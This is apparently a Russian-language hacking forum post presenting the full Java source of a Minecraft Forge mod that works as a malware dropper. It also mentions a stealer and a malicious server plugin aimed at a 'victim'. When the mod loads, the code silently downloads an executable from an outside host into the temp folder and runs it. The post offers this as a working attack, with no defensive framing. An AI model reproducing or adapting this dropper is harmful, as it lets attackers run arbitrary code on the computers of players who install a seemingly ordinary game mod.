L
LightMan
Original poster
В предыдущей статье мы ебошили майнкрафт сервер через наш вредоносный плагин.
Короче я решил закинуться коксом и у меня удалось написать мод(Forge) который может делать всякие интересные штуки на компе нашей жертвы
P.S я джаву вобще не знаю но что-то у меня выходит
Гайд как это правильно компилить:
Короче тут гифка со стиллером на java (исходники стиллера не дам)
Тут гифка с лоадером калькулятора (исходники на )
Короче я решил закинуться коксом и у меня удалось написать мод(Forge) который может делать всякие интересные штуки на компе нашей жертвы
P.S я джаву вобще не знаю но что-то у меня выходит
Наш 1 файлик DropperMod.java (ничего сложного нету)
Java:
package mc.lightman.backdoor;
import java.nio.file.Paths;
import java.io.File;
import java.io.FileOutputStream;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.URL;
import java.net.MalformedURLException;
import net.minecraftforge.fml.common.Mod;
@Mod(DropperMod.MODID)
public final class DropperMod {
public static final String MODID = "dropper_mod";
public DropperMod() {
// Запускаем наши цыганские фокусы в новом потоке
// иначе майн не запуститься
new Thread() {
public void run() {
try {
// Прямая ссылка на наш файлик
final URL url = new URL("http://www.ddlands.com/downloads/Calc.exe");
// Получаем путь где будет сохранен наш файл (%temp%/Calc.ехе)
String tempFileName = Paths.get(
System.getProperty("java.io.tmpdir"),
new File(url.getPath()).getName().toString()
).toString();
// Если файла в папке %temp% нету
if (!new File(tempFileName).exists()) {
// Скачиваем байты
BufferedInputStream inputStream = new BufferedInputStream(url.openStream());
FileOutputStream fileOutputStream = new FileOutputStream(tempFileName);
// Записываем байты в файл
byte dataBuffer[] = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(dataBuffer, 0, 1024)) != -1) {
fileOutputStream.write(dataBuffer, 0, bytesRead);
}
// Закрываем эти 2 хуйни
inputStream.close();
fileOutputStream.close();
// Запускаем файл
Runtime.getRuntime().exec(
new String[] { "cmd.exe", "/C", "start", tempFileName }
);
}
// Если функция может выдать ошибку то джава захочет что-бы мы её обработали
// иначе нам просто не дадут скомпилить :D
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}.start();
}
}
Гайд как это правильно компилить:
Короче тут гифка со стиллером на java (исходники стиллера не дам)
Тут гифка с лоадером калькулятора (исходники на )